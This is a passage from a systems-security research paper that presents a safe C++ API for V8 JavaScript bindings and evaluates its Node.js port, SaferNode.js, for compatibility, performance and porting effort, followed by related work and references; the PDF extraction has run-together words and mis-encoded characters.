(line 11). SinceblobConstrusesgetProptoaccess these values, the API type checks and casts the values be-fore invoking the correct callback, preserving JavaScriptÕs crash-and type-safety. Since failing to registeronValandonFailcall-backs results in a compile-time warning, the programmer isforced to account for both success and failure.5.2 ImplementationWe implement our API as a C++ library on top of the existingpublic V8 API. The API implementation comprises 1100 linesof C++. The library-based approach introduces little perfor-mance overhead (¤5.3) and, more importantly, allows bindingcode developers to incrementally migrate their existing sys-tems from V8 proper. Furthermore, this approach lets security-critical modules (e.g., the Node.js password-hashing librarybcrypt [86]) use our safe APIwithoutwaiting for the Node.jsruntime or V8 engine to incorporate our changes.The C++ classJS<T>is a templated class that implementsonValandonFail. Programmers useonValandonFailtoregister success and failure callbacks. For example, any time aprogrammer wants to use a speciÞc V8 type, they mustmarshalaValueto that type, registering their callbacks along the way.Our API makesJS<T>values easier and safer to use by at-taching thewarn_unused_resultcompiler attribute [36] tothe return value of theonValmethod. This strongly encouragesbinding code developers to registeronFailhandlers: ifonValÕsresult is unused (i.e., the call toonValis not chained to a calltoonFail), the compiler emits a warning.Our API also uses restrictions on method arguments toenforce type-safety. Developers must declare the concreteexpected type (e.g.,v8::Arrayorv8::String) of everyJavaScript argument in anonVallambda. The API uses recentC++ features likedecltypeandstd::declvalto introspectthe type of the lambda; it uses this information to generate spe-cialized versions of each function acceptingJS<T>arguments(e.g.,marshal). These specialized versions perform runtimetype checking and casting according to the types speciÞed inthe programmerÕs registered lambda. Other thanonValandonFail, our API does not provide any way to directly manipu-6marshaltakes anIsolate*as a Þrst argument; we discuss these further in¤2, ÒDetailed overview of V8-based bindings.Ó

--- page 15 ---

late (e.g., check or cast)v8::Values.5.3 EvaluationWe evaluate our API design and implementation by answeringthree questions:1.Is the API backwards compatible?2.Is the APIÕs performance overhead acceptable?3.How hard is it to port existing code to the API?To answer these questions, we rewrote the Node.js binding-layer libraries forbufferandhttp. We chose these librariesboth because they are representative of Node.js bindingsand because they are widely used:httpandbufferare es-sential for building web applications, Node.jsÕs most promi-nent use case. In particular, we rewrote the buffer bind-ing librarynode_buffer.cc, HTTP parsing binding librarynode_http_parser.cc, and several smaller support librariesÕbindings (e.g.,uvandutil) in Node.js version 7.0.0. In therest of this section we answer the three evaluation questionsby comparing vanilla Node.js againstSaferNode.js, our saferversion of Node.js.CompatibilityPorting binding-layer functions to our safe API should pre-serve their semanticsÑexcept their crashing semantics. WespeciÞcallywantto eliminate hard crashes.7To measureSaferNode.jsÕs backward compatibility, we used Node.jsÕs ex-isting compatibility-checking test suite. We ran Node.jsÕs built-in test suite [66], which consists of 1,265 tests;SaferNode.jspassed all of them. We also used the Canary in the Gold Mine(CITGM) tool [67] to run the test suites of 74 popular Node.jspackages withSaferNode.js[72]; this is the same setup thatNode.js developers use to Þnd regression bugs in candidate re-leases [71]. Once again, we found no difference between vanillaNode.js and SaferNode.js in terms of compatibility.PerformanceWe ran Node.jsÕs performance benchmarks, two micro-benchmarks, and a macro-benchmark to measureSaferNode.jsÕs overhead. In the worst case,SaferNode.jsis 11% slower than Node.js when the latter uses V8 APIs in anunsafe (hard-crashing) way. On the other hand, when Node.jsuses V8 APIs safely,SaferNode.jsimposes no signiÞcantadditional overhead. Finally, for real-world applications,SaferNode.jsimposes less than 1% overhead. We describethese results and benchmarks in more detail below.All measurements were conducted on a single machine withan Intel i7-6700K (4 GHz) with 64 GiB of RAM, runningUbuntu 16.10. We disabled dynamic frequency scaling andhyper-threading, and pinned each benchmark to a single core.Node.js benchmarks.To measure the performance differencebetween Node.js andSaferNode.js, we used Node.jsÕs bench-marking suite [69]. This suite is designed to Þnd performanceregressions. It works by benchmarking a set of Node.js modules7There is one exception to this: we do not rewrite code that hard-crashes forlegitimate reasons, e.g., because it can no longer allocate memory.on two different versions of the Node.js runtime and comparingtheir performance; our tests compare Node.js andSaferNode.js.We ran thebufferandhttpbenchmark suites 50 and 10 times,respectively. (We chose these numbers in order to complete thebenchmarking in reasonable time, roughly 10 hours.)Each benchmark runs hundreds of tests on both Node.js andSaferNode.js, where each test invokes an operation a Þxed num-ber of times, depending on how long the operation takes to run.For example, thebufferbenchmark forindexOf, a relativelyslow operation, measures the time to execute 100,000 calls tobuff.indexOf. It times these calls for different combinationsof search strings, encodings, and buffer types, reporting totalexecution time in operations per second for each combination.Figures 3a and 3b plot the speed ofSaferNode.jsnormalizedto Node.js for each test in thebufferandhttpbenchmarksuites, respectively. Each dot represents one test from the suite;results are sorted from slowest to fastest. The average overheadforbufferis 1%, with a maximum of 11%.httpshows essen-tially no overhead on average; in the worst case, it is 5% slower.Below we use micro-benchmarks to show thatSaferNode.jsÕsoverhead is the result of the APIÕs added type checking; Node.jsis faster because it does not perform these checks.A few tests in both benchmark suites show modest speed-ups; these are spurious. To conÞrm this, we built Node.jsandSaferNode.jsusing two different compilers, GCC 6.2 andClang 3.8.1, and ran both test suites (Figure 3 shows results forGCC). We found that compiler-to-compiler performance varia-tion on individual tests was on the order of 1Ð2%, comparable tothe measured speed-ups. Moreover, tests that showed speed-upsfor GCC often showed slow-downs for Clang, and vice-versa.A few tests show>2% average speed-ups. In these tests, how-ever, individual runs showed widely varying results, with bothspeed-ups and slow-downs. We expect further benchmarkingwould show thatSaferNode.jsand Node.js have essentially thesame performance on these tests.Micro-benchmarks.To test our hypothesis thatSaferNode.jsÕsoverhead is due to extra checking in the safe API, we createdthree micro-benchmarks, each of which marshals aNumberfrom JavaScript to C++ and back. We compare our safe APIÕsversion of this function with two normal V8 API versions, onethat does type checking and one that does not.echo_nocheckuses the normal V8 API and performs no type checking:1voidecho_nocheck(constFunctionCallbackInfo<Value>&args){!!2Local<Number>ret=args[0].As<Number>();3args.GetReturnValue().Set(ret);4}echo_checkuses the same V8 API calls as above, but addsexplicit type checking:1voidecho_check(constFunctionCallbackInfo<Value>&args){!!2if(args[0]->IsNumber()){3Local<Number>ret=args[0].As<Number>();4args.GetReturnValue().Set(ret);5}else{// handle error6}7}

--- page 16 ---

(a)bufferbenchmark suite: 304 tests, 50 runs each(b)httpbenchmark suite: 182 tests, 10 runs eachFigure 3ÑSpeed ofSaferNode.jsnormalized to Node.js on a subset of the Node.js benchmarking suite [69] (¤5.3). Each dot represents onebenchmark from the suite; results are sorted slowest to fastest. SaferNode.jsÕs speed ranges from!89% to!105% of Node.jsÕs.Finally,echo_safeAPIuses the safe API:1voidecho_safeAPI(constFunctionCallbackInfo<Value>&args){!!2returnsafeV8::With(args->GetIsolate(),args[0])3.onVal([&](Local<Number>ret){4args.GetReturnValue().Set(ret);5})6.onFail([&](Local<Error>exception){7// handle error8});9}We benchmark these functions by calling each one in a107-iteration loop and measuring execution time. We call all threefunctions with an argument of the correct type; still, note thatecho_nocheckwould crash if given a non-numeric argument.echo_safeAPIexecutes 12% more slowly thanecho_nocheck, close toSaferNode.jsÕs worst-case over-head on the benchmarks in the previous section. On the otherhand, since bothecho_safeAPIandecho_checkcheck thetype of their argument, they show no signiÞcant performancedifference (less than 1%). As a result, we conclude that most ofthe overhead in theSaferNode.jsbenchmarks comes from thesafe APIÕs extra checking.Macro-benchmark.Finally, to measure the performance ofour safe API in a real-world setting, we measured the per-formance of the popularexpress.jsweb framework [95] bycomparing the performance of Node.js andSaferNode.jsusingexpress.jsÕs speed benchmark [31]. This benchmark uses thewrkweb server stress testing tool, running 8 concurrent threadsand 50 open connections to measure the throughput of the webserver. Node.js andSaferNode.jsperformance was within 1%,each serving about 15,000 requests/second.Porting burdenPorting Node.jsÕsbuffermodule to our safe API requiredadding about 1000 lines of code tonode_buffer.cc, originallya 1300-line Þle. Forhttp, we added about 150 lines of code tonode_http_parser.cc, which was originally about 800 lines.While porting, we realized that we were repeatedly rewrit-ing similar code, so we built a prototype tool that assiststhe programmer by ßagging binding functions and automat-ically rewriting common unsafe patterns. SpeciÞcally, thetool identiÞes top-level binding functions that are exposed toJavaScript (i.e., Node.js functions that accept one argument oftypeconstv8::FunctionCallbackInfo<v8::Value>&).For these functions, the tool rewrites (1) hard-crashingCHECKcalls, (2) casts usingAs<Type>with no precedingIsTypecheck, and (3) calls toGet,Set, andToString. Our tool isconservative in that it only rewrites code that is easy to reasonabout. For example, it does not rewrite functions that includegotos. The tool comprises about 7,500 lines of Java.Despite being a prototype, this tool was useful in portingNode.js to our API. In Node.js 7.0.0, we manually counted 378functions with the required type signature; our tool ßagged 371of them. Of these, 201 did not need to be rewritten. Another35 usedgotos or similar patterns that the tool cannot handle.The tool rewrote the remaining 135 functions, but requiredmanual intervention in two cases, about 30 lines of code total.As a sanity check, we ran CITGM (the regression suite fromabove) and the full Node.js benchmarks on the rewritten code.We found that it was fully functional and paid a performanceoverhead roughly commensurate with the results in Figure 3.From the above, we surmise that porting to our API is rea-sonable, even in complicated code bases. We regard furtherautomation of this porting effort as future work.6 Related WorkWe discuss our contributions with respect to related work on se-curing binding code in multi-language systems. SpeciÞcally, weconsider the literature onÞndingbugs in binding code,avoidingbugs by construction, andtoleratingbugs using isolation.6.1 Finding Binding BugsThe Þrst line of work looks at Þnding errors that arise atthe boundaries of multi-language systems, either via dynamicchecking, property-independent translation to a common IR, orproperty-speciÞc static checking.Dynamic checking.Jinn [55] generates dynamic bug check-

--- page 17 ---

0.850.900.951.001.05Speed of SaferNode.js, normalizedto Node.js (higher is better)

--- page 18 ---

0.850.900.951.001.05Speed of SaferNode.js, normalizedto Node.js (higher is better)

--- page 19 ---

ers for arbitrary languages from state machine descriptions offoreign function interface (FFI) rules. In doing so, Jinn Þndsbugs in both the Java Native Interface (JNI) and Python/C code.While running similar checkers in production is probably pro-hibitively expensive, this kind of system would complementexisting browser debug-runtime checks.Translation to common IR.Several groups have looked intotranslating multi-language programs into a common interme-diate language, and then applying off-the-shelf analysis toolsto their translation [9,54,58,100]. For large code bases likeChrome, this approach is as feasible as the analysis approachis scalable; consequently, an alternative approach is to developcustom checks for particular classes of bugs.Crash-safety bugs.Kondoh, Tan, and Li present different staticanalysis techniques for Þnding bugs caused by mishandled ex-ceptions in Java JNI code [52,56,99]. Safer binding-layerAPIs would address some of the issues these works tackle. Forexample, both our API the recent V8 API addresses similarmemory management and exception-catching concerns by con-struction [30,37]. Still, their approach can address a concernthat neither our API nor existing JavaScript engine APIs handle:Þnding bugs in binding code where exceptions are raised bynative code.Type-safety bugs.Tan and Croft Þnd type safety bugs that re-sult when developers expose C pointers to Java as integers [99].Their work also illustrates that static checkers can Þnd typesafety bugs in practice, as we suggest in ¤3. Exposed pointererrors, however, are unlikely in JavaScript binding code, sinceJavaScript engines provide hidden Þelds for C code to saveraw pointers across contexts. Still, since these errors wouldbe catastrophic, it may be worthwhile to implement Tan andCroftÕs technique for browser binding code. More broadly, Furrand Foster [34,35] present a multi-language type inferencesystems for the OCaml and Java FFIs. Since JavaScript is dy-namically typed, using type-inference approaches like these isdifÞcult, but a similar analysis could help ensure that bindinglayer dynamic type checks are correct. Moreover, they would beapplicable to runtime systems like Node.js where type checksare not generated but implemented manually.Memory-safety bugs.Li and Tan present a static analysistool that detects reference counting bugs in Python/C inter-face code [57]. Their results also show that static checkers canhelp secure cross-language code. A tool like this one wouldassist binding code in which the C++ side performs referencecounting (e.g., Blink before Oilpan).6.2 Avoiding Binding Bugs by ConstructionAnother line of work looks at avoiding binding bugs by construc-tion, either with formal models of inter-language interaction toverify safety, or with new languages that restrict interactions toensure safety.Formal models.Several projects develop formal models forJavaScript, multi-language systems, and FFIs [53,59,61,98,104]. These works not only help developers understand multi-language interaction but also allow developers to formally rea-son about tools for multi-language systems (tools like staticcheckers or new APIs). We envision developing a similar for-malization for JavaScript, perhaps based on [59,80], or by ex-tending and combining the formal models for C and JavaScriptdeveloped in the K-framework [29, 77].Language design.Janet [7] and Jeannie [44] are language de-signs that allow users to combine Java and C code in a single Þle,therefore building multi-language systems more safely. Safe-JNI [101] provides a safe Java/C interface by using CCured [65]to retroÞt C code to a subset that abides by JavaÕs memory andtype safety. While these language designs are well-suited forisolated browser features, it is unclear how these approacheswould apply to existing large JavaScript runtime system. Byrefactoring existing FFI code to use domain-speciÞc languagessuch as our safe API, our approach provides a way to graduallyincrease security across different components. SpeciÞcally, itstrongly encourages the programmer to put in suitable checksand handle all possible errors, one module at a time, therebyproviding greater safety while remaining in the original hostlanguage (e.g., C++).Safe linking.A recent line of work by Ahmed et al. [3,78] aimsto address the problem of (safely) composing multi-languageprograms by separately compiling the components into agrad-uallytyped [88,89] target language and then linking the results.The gradually typed target language would have support formore, less, or completely untyped sub-components, and wouldautomatically insert run-time checks to ensure that typing invari-ants are preserved as values move across the different parts [65].In the context of binding code, this approach has the beneÞt ofshifting the burden of placing suitable checks from programmerto the compiler and could provide formal safety guarantees.On the other hand, gradual typing implementations still havenon-trivial run-time overheads [97] and it remains to be seenwhether the above approach can be made practical for complexsystems like Node.js and Chrome.6.3 Tolerating Binding BugsOne last approach, orthogonal to Þnding and preventing bindingbugs, is to design systems to tolerate such bugs by isolatingcomponents at the language or browser level.Language-level isolation.Running different languagesÕ run-times in isolated environments addresses many security bugs inFFI code. Klinkoff et al. [49] present an isolation approach forthe .NET framework. They run native, unmanaged code in a sep-arate sandboxed process mediated according to the high-level.NET security policy. Robusta [87] takes a similar approach forJava, but, to improve performance, uses software fault isolation(SFI) [108].Browser-level isolation.Redesigning the browser to runiframes in separate processes would address many of the vul-nerabilities that lead to same-origin policy bypasses. Unfor-tunately, as illustrated by ChromeÕs ongoing efforts [22] andseveral research browsers (e.g., Gazelle [107], IBOS [102], andQuark [47]) this is not an easy task. Redesigns often break com-patibility and have huge performance costs. Moreover, applyingsuch techniques beyond the browser to runtime systems such asNode.js and PDFium is not easily achievableÑin these systems

--- page 20 ---

we do not have the security policies that allow browsers to moreeasily decide where to draw isolation boundaries.AcknowledgementsWe thank the anonymous reviewers and our shepherd, NikhilSwamy, for many insightful comments and for pointing outa bug in an early version of this paper. òlfar Erlingsson andBryan Parno for their accomodations. Thomas Sepez for help-ing us understand the PDFium attacker model and conÞrmingand Þxing some of our bugs. Bryan Eglish, Colin Ihrig, DevonRifkin, Sam Roberts, Rod Vagg, and Brian White for useful dis-cussions of Node.jsÕs attacker model and for incorporating ourfeedback on how to improve the runtimeÕs safety and security.Colin Ihrig and Timothy Gu for promptly Þxing many of ourNode.js bugs. Adrienne Porter Felt, Joel Weinberger, Lei Zhang,Nasko Oskov, and Devlin Cronin for helping to explain the se-curity model for Chrome extensions. Hovav Shacham, DavidKohlbrenner, and Joe Politz for fruitful discussions. Sergio Ben-itez and Andres Nštzli for help, comments, and formattingmagic. Mary Jane Swenson for making everything easier. Thiswork was supported by NSF Grant CNS-1514435 and an NSFFellowship.References[1]F. Aboukhadijeh. Buffer(number) is unsafe.https://github.com/nodejs/node/issues/4660.[2]B. Adida, A. Barth, and C. Jackson. Rootkits forJavaScript environments. InWOOT, Aug. 2009.[3]A. Ahmed. VeriÞed compilers for a multi-languageworld. InSummit on Advances in Programming Lan-guages, SNAPL 2015, May 2015.[4]A. Barth, A. P. Felt, P. Saxena, and A. Boodman. Protect-ing browsers from extension vulnerabilities. InNDSS,Feb. 2010.[5]F. Brown, S. Narayan, R. S. Wahby, D. Engler, R. Jhala,and D. Stefan. Finding and preventing bugs inJavaScript bindings: Extended version.https://bindings.programming.systems.[6]F. Brown, A. Nštzli, and D. Engler. How to build staticchecking systems using orders of magnitude less code.InASPLOS, Apr. 2016.[7]M. Bubak, D. Kurzyniec, and P. Luszczek. CreatingJava to native code interfaces with Janet extension. InWorldwide SGI Users‰ùA«Z Conference, Oct. 2000.[8]E. Budianto, R. Chow, J. Ding, and M. McCool.Language-based hypervisors. InCANS, Nov. 2016.[9]C. Cadar, D. Dunbar, and D. R. Engler. KLEE: Unas-sisted and automatic generation of high-coverage testsfor complex systems programs. InOSDI, Dec. 2008.[10]caja. Caja.https://developers.google.com/caja/.[11]P. Carbonnelle. PopularitY of Programming Language.http://pypl.github.io/PYPL.html.[12]chakraCore. Microsoft chakracore.https://github.com/Microsoft/ChakraCore.[13]checkerChromeVersion. Chromium version 56.0.2915.0.https://chromium.googlesource.com/chromium/src.git/+/56.0.2915.0.[14]Chromium. Security faq.https://www.chromium.org/Home/chromium-security/security-faq.[15]Chromium. Side by side diff for issue 196343011.https://codereview.chromium.org/196343011/diff/20001/Source/bindings/templates/attributes.cpp, 2016.[16]Chromium. Issue 395411 and CVE-2014-3199.https://bugs.chromium.org/p/chromium/issues/detail?id=395411, 2016.[17]Chromium. Issue 456192 and CVE-2015-1217.https://bugs.chromium.org/p/chromium/issues/detail?id=456192, 2016.[18]Chromium. Issue 449610 and CVE-2015-1230.https://bugs.chromium.org/p/chromium/issues/detail?id=449610, 2016.[19]Chromium. Issue 497632 and CVE-2016-1612.https://bugs.chromium.org/p/chromium/issues/detail?id=497632, 2016.[20]Chromium. Issue 603748.https://bugs.chromium.org/p/chromium/issues/detail?id=603748, 2016.[21]Chromium. Issue 603725.https://bugs.chromium.org/p/chromium/issues/detail?id=603725, 2016.[22]Chromium. Out-of-process iframes.https://www.chromium.org/developers/design-documents/oop-iframes, 2016.[23]Chromium. Issue 671488: Hard crash in webkit cus-tomelement bindings.https://bugs.chromium.org/p/chromium/issues/detail?id=671488, 2016.[24]Chromium. Issue 679643: Security: Use after free inpdÞumÕs annot::name.https://bugs.chromium.org/p/chromium/issues/detail?id=679643, 2017.[25]Chromium. Issue 679642: Security: Use after free inpdÞumÕs Þeld::page.https://bugs.chromium.org/p/chromium/issues/detail?id=679642, 2017.[26]D. Crockford. ADsafe: Making JavaScript safe for ad-vertising.http://www.adsafe.org, 2008.[27]W. De Groef, F. Massacci, and F. Piessens. Node-sentry: least-privilege library integration for server-sidejavascript. InACSAC, Dec. 2014.[28]Z. Durumeric, J. Kasten, D. Adrian, J. A. Halderman,M. Bailey, F. Li, N. Weaver, J. Amann, J. Beekman,M. Payer, et al. The matter of Heartbleed. InIMC, Nov.2014.[29]C. Ellison and G. Rosu. An executable formal semanticsof C with applications. InPOPL, Jan. 2012.[30]B. English.<=v4: process.hrtime()segfaults on ar-rays with error-throwing accessors.https://github.com/nodejs/node/issues/7902.[31]Express. Benchmarks run.https://github.com/expressjs/express/blob/master/benchmarks/run.[32]A. P. Felt, J. Weinberger, L. Zhang, N. Oskov, andD. Cronin. Private communication, March 2017.[33]E. F. Foundation. HTTPS everywhere.https://www.

--- page 21 ---

eff.org/https-everywhere, 2017.[34]M. Furr and J. S. Foster. Checking type safety of foreignfunction calls. InPLDI, June 2005.[35]M. Furr and J. S. Foster. Polymorphic type inference forthe JNI. InESOP, Mar. 2006.[36]gcc. Declaring attributes of functions.https://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html.[37]M. Hablich. API changes upcoming to make writing ex-ception safe code more easy.https://groups.google.com/forum/#!topic/v8-users/gQVpp1HmbqM.[38]I. Haller, Y. Jeon, H. Peng, M. Payer, C. Giuffrida,H. Bos, and E. van der Kouwe. TypeSan: Practical typeconfusion detection. InACM CCS, Oct. 2016.[39]K. Hara. Oilpan: GC for Blink.https://docs.google.com/presentation/d/1YtfurcyKFS0hxPOnC3U6JJroM8aRP49Yf0QWznZ9jrk,2016.[40]J. Harrell. Node.js at PayPal.https://www.paypal-engineering.com/2013/11/22/node-js-at-paypal/, November 22 2013.[41]D. Hedin, A. Birgisson, L. Bello, and A. Sabelfeld. JS-Flow: Tracking information ßow in JavaScript and itsAPIs. InACM SAC, Apr. 2014.[42]S. Heule, D. Stefan, E. Z. Yang, J. C. Mitchell, andA. Russo. IFC inside: RetroÞtting languages with dy-namic information ßow control. InPOST, Apr. 2015.[43]M. Hicks. What is memory safety?http://www.pl-enthusiast.net/2014/07/21/memory-safety/,2014.[44]M. Hirzel and R. Grimm. Jeannie: Granting Java nativeinterface developers their wishes. InACM SIGPLANNotices, volume 42:10, 2007.[45]C. Hritcu, M. Greenberg, B. Karel, B. C. Pierce, andG. Morrisett. All your IFCException are belong to us.InIEEE S&P, May 2013.[46]N. Jagpal, E. Dingle, J.-P. Gravel, P. Mavrommatis,N. Provos, M. A. Rajab, and K. Thomas. Trends andlessons from three years Þghting malicious extensions.InUSENIX Security, Aug. 2015.[47]D. Jang, Z. Tatlock, and S. Lerner. Establishing browsersecurity guarantees through formal shim veriÞcation. InUSENIX Security, Aug. 2012.[48]A. Kapravelos, C. Grier, N. Chachra, C. Kruegel, G. Vi-gna, and V. Paxson. Hulk: Eliciting malicious behaviorin browser extensions. InUSENIX Security, Aug. 2014.[49]P. Klinkoff, E. Kirda, C. Kruegel, and G. Vigna. Ex-tending .NET security to unmanaged code.Journal ofInformation Security, 6(6):417Ð428, 2007.[50]N. Kobeissi, K. Bhargavan, and B. Blanchet. AutomatedveriÞcation for secure messaging protocols and their im-plementations: A symbolic and computational approach.InIEEE EuroS&P, Apr. 2017.[51]J. Koetsier. Ad Block Plus is now...an ad network.https://www.forbes.com/sites/johnkoetsier/2016/09/13/adblock-plus-is-now-an-ad-network/#697cbff41bca.[52]G. Kondoh and T. Onodera. Finding bugs in Java nativeinterface programs. InSymposium on Software Testingand Analysis, Apr. 2008.[53]A. Larmuseau and D. Clarke. Formalizing a secure for-eign function interface. InSEFM, Sept. 2015.[54]C. Lattner and V. Adve. LLVM: A compilation frame-work for lifelong program analysis & transformation. InCGO, Mar. 2004.[55]B. Lee, B. Wiedermann, M. Hirzel, R. Grimm, and K. S.McKinley. Jinn: synthesizing dynamic bug detectors forforeign language interfaces. InACM SIGPLAN Notices,volume 45:6, 2016.[56]S. Li and G. Tan. Finding bugs in exceptional situationsof JNI programs. InACM CCS, Nov. 2009.[57]S. Li and G. Tan. Finding reference-counting errors inPython/C programs with afÞne analysis. InECOOP, July2014.[58]P. Linos, W. Lucas, S. Myers, and E. Maier. A metricstool for multi-language software. InSEA, Nov. 2007.[59]S. Maffeis, J. C. Mitchell, and A. Taly. An operationalsemantics for javascript. InAPLAS, Dec. 2008.[60]P. Marchenko, ò. Erlingsson, and B. Karp. Keeping sen-sitive data in browsers safe with ScriptPolice. Technicalreport, UCL, 2013.[61]J. Matthews and R. B. Findler. Operational semantics formulti-language programs.TOPLAS, 31(3):1Ð44, 2009.[62]C. McCormack. Web IDL.World Wide Web Consortium,2012.[63]L. A. Meyerovich and B. Livshits. ConScript: Speci-fying and enforcing Þne-grained security policies forJavaScript in the browser. InIEEE S&P, May 2010.[64]S. Nagarakatte, J. Zhao, M. M. Martin, and S. Zdancewic.Softbound: Highly compatible and complete spatialmemory safety for c. InACM SIGPLAN Notices, volume44:6, 2009.[65]G. C. Necula, S. McPeak, and W. Weimer. CCured:Type-safe retroÞtting of legacy code. InACM SIGPLANNotices, volume 37:1, 2002.[66]nodeBenchmarks. Node.js core benchmarks.https://github.com/nodejs/node/tree/master/benchmark.[67]Node.js. Canary in the Gold Mine.https://developers.google.com/v8/embed,.[68]Node.js. Node.js helps NASA keep astronauts safeand data accessible.https://nodejs.org/static/documents/casestudies/Node_CaseStudy_Nasa_FNL.pdf,.[69]Node.js. Node.js benchmarking branch.https://github.com/nodejs/node/tree/master/benchmark,.[70]Node.js. Node.js on ChakraCore.https://github.com/nodejs/node-chakracore.[71]Node.js. Node.js CITGM lookup list.https://github.com/nodejs/citgm/blob/master/lib/lookup.json,.

--- page 22 ---

[72]Node.js. Canary in the Gold Mine Ð node.js7.0.0.https://github.com/nodejs/citgm/blob/2434cceb09f2e7966cfdf70b523e0bea57be9598/lib/lookup.json,.[73]Node.js security working group. What is/is not a Òvul-nerabilityÓ/Òsecurity issueÓ?https://github.com/nodejs/security-wg/issues/18.[74]B. Noordhuis. src: remove unneededenvironment error methods.https://github.com/nodejs/node/commit/0e6c3360317ea7c5c7cc242dfb5c61c359493f34.[75]NPM. Package install scripts vulnerability.https://blog.npmjs.org/post/141702881055/package-install-scripts-vulnerability.[76]T. npm Blog. kik, left-pad, and npm.https://blog.npmjs.org/post/141577284765/kik-left-pad-and-npm.[77]D. Park, A. Stefanescu, and G. Rosu. KJS: a completeformal semantics of JavaScript. InPLDI, June 2015.[78]J. T. Perconti and A. Ahmed. Verifying an open compilerusing multi-language semantics. InESOP, Apr. 2014.[79]B. C. Pierce.Types and programming languages. MITPress, 2002.[80]J. G. Politz, M. J. Carroll, B. S. Lerner, J. Pombrio, andS. Krishnamurthi. A tested semantics for getters, setters,and eval in javascript. InACM SIGPLAN Notices, volume48:2, 2013.[81]A. Ranganathan, J. Sicking, and M. Kruisselbrink. FileAPI.World Wide Web Consortium, 2015.[82]R. Rogowski, M. Morton, F. Li, K. Z. Snow, F. Monrose,and M. Polychronakis. Revisiting browser security inthe modern era: New data-only attacks and defenses. InIEEE EuroS&P, Apr. 2017.[83]S. Saccone. npm hydra worm disclosure.https://www.kb.cert.org/CERT_WEB/services/vul-notes.nsf/6eacfaeab94596f5852569290066a50b/018dbb99def6980185257f820013f175/$FILE/npmwormdisclosure.pdf.[84]G. A. Security. Severity guidelines for security is-sues.https://sites.google.com/a/chromium.org/dev/developers/severity-guidelines.[85]T. Sepez. Private communication, March 2017.[86]R. Shtylman. bcrypt.https://www.npmjs.com/package/bcrypt.[87]J. Siefers, G. Tan, and G. Morrisett. Robusta: Tamingthe native beast of the JVM. InACM CCS, Oct. 2010.[88]J. G. Siek and W. Taha. Gradual typing for functionallanguages. InScheme and Functional ProgrammingWorkshop, Sept. 2006.[89]J. G. Siek and W. Taha. Gradual typing for objects. InECOOP, July 2007.[90]D. Stefan.spawnSyncÕsSyncProcessRunner::CopyJsStringArraysegfaults with bad getter.https://github.com/nodejs/node/issues/9821,.[91]D. Stefan. npm shrinkwrap allows remote codeexecution.https://hackernoon.com/npm-shrinkwrap-allows-remote-code-execution-63e6e0a566a7#.e7an55fo2,.[92]D. Stefan.Buffer.fillhas an out of bounds (arbitrary)memory write.https://github.com/nodejs/node/issues/9149, 2016.[93]D. Stefan.Buffer::Lengthhard crashes.https://github.com/nodejs/node/issues/11954, 2017.[94]D. Stefan, E. Z. Yang, P. Marchenko, A. Russo, D. Her-man, B. Karp, and D. Mazieres. Protecting users byconÞning JavaScript with COWL. InOSDI, Oct. 2014.[95]StrongLoop/IBM. ExpressÑNode.js web applicationframework.https://expressjs.com.[96]A. Systems. JavaScript for Acrobat api reference.http://wwwimages.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf.[97]A. Takikawa, D. Feltey, B. Greenman, M. S. New,J. Vitek, and M. Felleisen. Is sound gradual typing dead?InPOPL, Jan. 2016.[98]G. Tan. JNI Light: An operational model for the coreJNI. InAPLAS, Nov. 2010.[99]G. Tan and J. Croft. An empirical security study of thenative code in the JDK. InUSENIX Security, July 2008.[100]G. Tan and G. Morrisett. ILEA: Inter-language analysisacross Java and C. InACM SIGPLAN Notices, volume42:10, 2007.[101]G. Tan, A. W. Appel, S. Chakradhar, A. Raghunathan,S. Ravi, and D. Wang. Safe Java native interface. InSecure Software Engineering, volume 97, 2006.[102]S. Tang, H. Mai, and S. T. King. Trust and protectionin the illinois browser operating system. InOSDI, Oct.2010.[103]K. Thomas, E. Bursztein, C. Grier, G. Ho, N. Jag-pal, A. Kapravelos, D. McCoy, A. Nappa, V. Paxson,P. Pearce, et al. Ad injection at scale: Assessing decep-tive advertisement modiÞcations. InIEEE S&P, May2015.[104]V. Trifonov and Z. Shao. Safe and principled languageinteroperation. InESOP, Mar. 1999.[105]V8. Getting started with embedding.https://github.com/v8/v8/wiki/Getting%20Started%20with%20Embedding.[106]walmart. Walmart.https://www.walmart.com, 2016.[107]H. J. Wang, C. Grier, A. Moshchuk, S. T. King, P. Choud-hury, and H. Venter. The multi-principal OS constructionof the Gazelle Web Browser. InUSENIX Security, Aug.2009.[108]B. Yee, D. Sehr, G. Dardyk, J. B. Chen, R. Muth, T. Or-mandy, S. Okasaka, N. Narula, and N. Fullagar. NativeClient: A sandbox for portable, untrusted x86 native code.InIEEE S&P, May 2009.[109]A. Yip, N. Narula, M. Krohn, and R. Morris. Privacy-preserving browser-side scripting with BFlow. InEu-roSys. ACM, Apr. 2009.[110]C. Zapponi. Programming languages and GitHub.http://githut.info/.
